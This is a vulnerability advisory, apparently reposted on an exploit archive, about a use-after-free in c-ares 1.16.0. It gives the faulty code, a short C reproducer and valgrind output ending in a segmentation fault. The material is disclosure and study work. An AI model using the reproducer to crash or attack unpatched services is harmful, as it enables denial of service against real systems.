c-ares 1.16.0 Use-After-Free

Authored by Jann Horn, Google Security Research

Posted Aug 4, 2020

c-ares version 1.16.0 has an issue where ares_destroy() with pending ares_getaddrinfo() leads to a use-after-free condition.

tags | advisory

SHA-256 | 7dac05abea704e153870ceb3821b9fcf3b37ca198add02caa774bdda39438cd9

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
c-ares 1.16.0: ares_destroy() with pending ares_getaddrinfo() leads to use-after-free

The following code was introduced in c-ares commit dbd4c441 (first released in 1.16.0, which was published on
2020-03-13), as part of the new ares_getaddrinfo() feature:


============================================================
static void end_hquery(struct host_query *hquery, int status)
{
[...]
 hquery->callback(hquery->arg, status, hquery->timeouts, hquery->ai);
 ares_free(hquery->name);
 ares_free(hquery);
}

static void host_callback(void *arg, int status, int timeouts,
              unsigned char *abuf, int alen)
{
 struct host_query *hquery = (struct host_query*)arg;
 int addinfostatus = ARES_SUCCESS;
 [...]

 if (status == ARES_SUCCESS)
  [...]
 else if (status == ARES_EDESTRUCTION)
  {
   end_hquery(hquery, status);
  }

 if (!hquery->remaining)
  {
   if (addinfostatus != ARES_SUCCESS)
    [...]
   else if (hquery->ai->nodes)
    {
     /* at least one query ended with ARES_SUCCESS */
     end_hquery(hquery, ARES_SUCCESS);
    }
   else if (status == ARES_ENOTFOUND)
    [...]
   else
    {
     end_hquery(hquery, status);
    }
  }

 /* at this point we keep on waiting for the next query to finish */
}
============================================================


In the ARES_EDESTRUCTION case, host_callback() ends up calling end_hquery() twice (unless it crashes before the
second call), and the second call will, among other things, call a function pointer from freed memory and free
the memory a second time.

Here's a reproducer:

============================================================
#include <ares.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>

static void gai_cb(void *arg, int status, int timeouts,
           struct ares_addrinfo *result) {
 printf(\"gai_cb(): %s\
\", ares_strerror(status));
}

int main(void) {
 if (ares_library_init(ARES_LIB_INIT_ALL))
  errx(1, \"ares_library_init\");
 ares_channel chan;
 if (ares_init(&chan))
  errx(1, \"ares_init\");
 ares_getaddrinfo(chan, \"blah\", NULL, NULL, gai_cb, NULL);
 ares_destroy(chan);
 return 0;
}
============================================================


Output (from a test against c-ares from Debian testing):

============================================================
user@vm:~/test/cares-gai-destroy$ valgrind ./cares-gai-destroy-uaf
==5248== Memcheck, a memory error detector
==5248== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==5248== Using Valgrind-3.14.0 and LibVEX; rerun with -h for copyright info
==5248== Command: ./cares-gai-destroy-uaf
==5248==
gai_cb(): Channel is being destroyed
==5248== Invalid read of size 4
==5248==  at 0x485F56A: host_callback (ares_getaddrinfo.c:553)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 4
==5248==  at 0x485F4CD: host_callback (ares_getaddrinfo.c:542)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 4
==5248==  at 0x485F4D0: host_callback (ares_getaddrinfo.c:541)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4adec is 60 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid write of size 4
==5248==  at 0x485F4D6: host_callback (ares_getaddrinfo.c:542)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4ae00 is 80 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 8
==5248==  at 0x485F0BD: end_hquery (ares_getaddrinfo.c:394)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x4a4adf8 is 72 bytes inside a block of size 88 free'd
==5248==  at 0x48369AB: free (vg_replace_malloc.c:530)
==5248==  by 0x485F126: end_hquery (ares_getaddrinfo.c:429)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Block was alloc'd at
==5248==  at 0x483577F: malloc (vg_replace_malloc.c:299)
==5248==  by 0x485F951: ares_getaddrinfo (ares_getaddrinfo.c:650)
==5248==  by 0x109247: main (cares-gai-destroy-uaf.c:17)
==5248==
==5248== Invalid read of size 8
==5248==  at 0x485F05D: ares_freeaddrinfo (ares_freeaddrinfo.c:54)
==5248==  by 0x485F167: end_hquery (ares_getaddrinfo.c:423)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==5248==
==5248==
==5248== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==5248== Access not within mapped region at address 0x0
==5248==  at 0x485F05D: ares_freeaddrinfo (ares_freeaddrinfo.c:54)
==5248==  by 0x485F167: end_hquery (ares_getaddrinfo.c:423)
==5248==  by 0x485F569: host_callback (ares_getaddrinfo.c:550)
==5248==  by 0x486869F: qcallback (ares_query.c:183)
==5248==  by 0x485E8D0: ares_destroy (ares_destroy.c:58)
==5248==  by 0x109253: main (cares-gai-destroy-uaf.c:18)
==5248== If you believe this happened as a result of a stack
==5248== overflow in your program's main thread (unlikely but
==5248== possible), you can try to increase the size of the
==5248== main thread stack using the --main-stacksize= flag.
==5248== The main thread stack size used in this run was 8388608.
==5248==
==5248== HEAP SUMMARY:
==5248==   in use at exit: 74,643 bytes in 7 blocks
==5248==  total heap usage: 29 allocs, 22 frees, 95,011 bytes allocated
==5248==
==5248== LEAK SUMMARY:
==5248==  definitely lost: 0 bytes in 0 blocks
==5248==  indirectly lost: 0 bytes in 0 blocks
==5248==   possibly lost: 0 bytes in 0 blocks
==5248==  still reachable: 74,643 bytes in 7 blocks
==5248==     suppressed: 0 bytes in 0 blocks
==5248== Rerun with --leak-check=full to see details of leaked memory
==5248==
==5248== For counts of detected and suppressed errors, rerun with: -v
==5248== ERROR SUMMARY: 7 errors from 6 contexts (suppressed: 0 from 0)
Segmentation fault
```

```
================================================================


It seems like there are already some users of ares_getaddrinfo() out there:
<https://github.com/envoyproxy/envoy> seems to use ares_getaddrinfo(), and also
uses ares_destroy() - not just on program exit, but also e.g. when handling
ARES_ECONNREFUSED. Luckily for them, they pin some random commit between
releases (which doesn't include the bug yet) in
<https://github.com/envoyproxy/envoy/blame/10125161be0d0a759c3ffb02ddcdf8abc0bc6060/bazel/repository_locations.b
But there are also some other hits on github for ares_getaddrinfo(), and there
seems to be at least one library that has shipped a release that uses
ares_getaddrinfo().


This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2020-08-02. Disclosure at an earlier date is possible if
agreed upon by all parties.
(To clarify: This deadline only applies to when we publish this bug report in
our own bugtracker, nothing else.)



Found by: jannh@google.com
```